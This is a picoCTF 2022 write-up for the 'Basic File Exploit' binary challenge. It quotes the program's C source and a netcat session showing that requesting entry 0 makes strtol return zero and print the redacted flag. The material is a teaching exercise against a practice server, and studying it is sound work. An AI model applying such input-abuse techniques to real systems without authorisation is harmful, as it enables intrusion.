Points: 100
Tags: picoCTF 2022, Binary Exploitation
Author: WILL HONG
Description:
The program provided allows you to write to a file and read what you wrote from it.
Try playing around with it and see if you can break it!
Connect to the program with netcat:
$ nc saturn.picoctf.net 50959
The program's source code with the flag redacted can be downloaded here.
Hints:
1. Try passing in things the program doesn't expect. Like a string instead of a number.
Challenge link: https://play.picoctf.org/practice/challenge/252
The main
function of the program look like this
int main(int argc, char** argv) {
char input[3] = {'\0'};
long command;
int r;
puts("Hi, welcome to my echo chamber!");
puts("Type '1' to enter a phrase into our database");
puts("Type '2' to echo a phrase in our database");
puts("Type '3' to exit the program");
while (true) {
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
data_write();
puts("Write successful, would you like to do anything else?");
} else if (command == 2) {
if (inputs == 0) {
puts("No data yet");
continue;
}
data_read();
puts("Read successful, would you like to do anything else?");
} else if (command == 3) {
return 0;
} else {
puts("Please type either 1, 2 or 3");
puts("Maybe breaking boundaries elsewhere will be helpful");
}
}
return 0;
}
Nothing much interesting here and the program even tells us that breaking boundaries elsewhere will be helpful
.
Let's see were the flag is printed, that is in the data_read
function
static void data_read() {
char entry[4];
long entry_number;
char output[100];
int r;
memset(output, '\0', 100);
printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
entry_number--;
strncpy(output, data[entry_number], input_lengths[entry_number]);
puts(output);
}
If we input something which input to the strtol
function returns 0, we get the flag.
The strtol function converts
strings to long integers.
A return value of zero signals a failure in the convertion but if we input the string 0
we also get a zero value so let's use that.
We can't "reach" the data_read
function directly since the program checks if there is data available
as we see in this code snippet of main
} else if (command == 2) {
if (inputs == 0) {
puts("No data yet");
continue;
}
data_read();
puts("Read successful, would you like to do anything else?");
So we start by entering some bogus data.
Then we try to read and when asked for the entry we select entry number 0
.
Finally, let's exploit and get the flag
┌──(kali㉿kali)-[/picoCTF/picoCTF_2022/Binary_Exploitation/Basic_File_Exploit]
└─$ nc saturn.picoctf.net 50959
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
1
Please enter your data:
picoCTF
picoCTF
Please enter the length of your data:
7
7
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
0
0
picoCTF{<REDACTED>}
For additional information, please see the references below.